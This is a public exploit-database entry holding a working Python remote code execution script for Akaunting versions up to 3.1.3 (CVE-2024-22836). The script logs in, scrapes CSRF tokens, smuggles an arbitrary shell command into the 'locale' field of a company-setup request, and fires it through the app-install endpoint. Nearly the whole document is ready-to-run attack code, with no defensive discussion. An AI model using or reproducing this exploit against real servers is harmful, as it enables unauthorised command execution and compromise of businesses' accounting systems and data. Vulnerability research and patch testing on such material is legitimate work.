Akaunting < 3.1.3 - Remote Code Execution Exploit

# Exploit Title: Akaunting < 3.1.3 - RCE
# Exploit Author: [email protected]
# Vendor Homepage: https://akaunting.com
# Software Link: https://github.com/akaunting/akaunting
# Version: <= 3.1.3
# Tested on: Ubuntu (22.04)
# CVE : CVE-2024-22836
 
#!/usr/bin/python3
 
import sys
import re
import requests
import argparse
 
def get_company():
        # print("[INF] Retrieving company id...")
        res = requests.get(target, headers=headers, cookies=cookies, allow_redirects=False)
        if res.status_code != 302:
                print("[ERR] No company id was found!")
                sys.exit(3)
        cid = res.headers['Location'].split('/')[-1]
        if cid == "login":
                print("[ERR] Invalid session cookie!")
                sys.exit(7)
        return cid
 
def get_tokens(url):
        res = requests.get(url, headers=headers, cookies=cookies, allow_redirects=False)
        search_res = re.search(r"\"csrfToken\"\:\".*\"", res.text)
 
        if not search_res:
                print("[ERR] Couldn't get csrf token")
                sys.exit(1)
 
        data = {}
        data['csrf_token'] = search_res.group().split(':')[-1:][0].replace('"', '')
        data['session'] = res.cookies.get('akaunting_session')
        return data
 
def inject_command(cmd):
        url = f"{target}/{company_id}/wizard/companies"
        tokens = get_tokens(url)
        headers.update({"X-Csrf-Token": tokens['csrf_token']})
        data = {"_token": tokens['csrf_token'], "_method": "POST", "_prefix": "company", "locale": f"en_US && {cmd}"}
        res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)
        if res.status_code == 200:
                res_data = res.json()
                if res_data['error']:
                        print("[ERR] Command injection failed!")
                        sys.exit(4)
                print("[INF] Command injected!")
 
 
def trigger_rce(app, version = "1.0.0"):
        print("[INF] Executing the command...")
        url = f"{target}/{company_id}/apps/install"
        data = {"alias": app, "version": version, "path": f"apps/{app}/download"}
        headers.update({"Content-Type":"application/json"})
        res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)
        if res.status_code == 200:
                res_data = res.json()
                if res_data['error']:
                        search_res = re.search(r">Exit Code\:.*<", res_data['message'])
                        if search_res:
                                print("[ERR] Failed to execute the command")
                                sys.exit(6)
                        print("[ERR] Failed to install the app! no command was executed!")
                        sys.exit(5)
                print("[INF] Executed successfully!")
 
def login(email, password):
        url = f"{target}/auth/login"
        tokens = get_tokens(url)
 
        cookies.update({
                'akaunting_session': tokens['session']
        })
 
        data = {
                "_token": tokens['csrf_token'],
                "_method": "POST",
                "email": email,
                "password": password
        }
         
        req = requests.post(url, headers=headers, cookies=cookies, data=data)
        res = req.json()
        if res['error']:
                print("[ERR] Failed to log in!")
                sys.exit(8)
 
        print("[INF] Logged in")
        cookies.update({'akaunting_session': req.cookies.get('akaunting_session')})
                 
def main():
        inject_command(args.command)
        trigger_rce(args.alias, args.version)
 
if __name__=='__main__':
        parser = argparse.ArgumentParser()
        parser.add_argument("-u", "--url", help="target url")
        parser.add_argument("--email", help="user login email.")
        parser.add_argument("--password", help="user login password.")
        parser.add_argument("-i", "--id", type=int, help="company id (optional).")
        parser.add_argument("-c", "--command", help="command to execute.")
        parser.add_argument("-a", "--alias", help="app alias, default: paypal-standard", default="paypal-standard")
        parser.add_argument("-av", "--version", help="app version, default: 3.0.2", default="3.0.2")
 
        args = parser.parse_args()
         
        headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"}
        cookies = {}
        target = args.url
 
        try:
                login(args.email, args.password)
                company_id = get_company() if not args.id else args.id
                main()
        except:
                sys.exit(0)
 
#  0day.today [2024-03-12]  #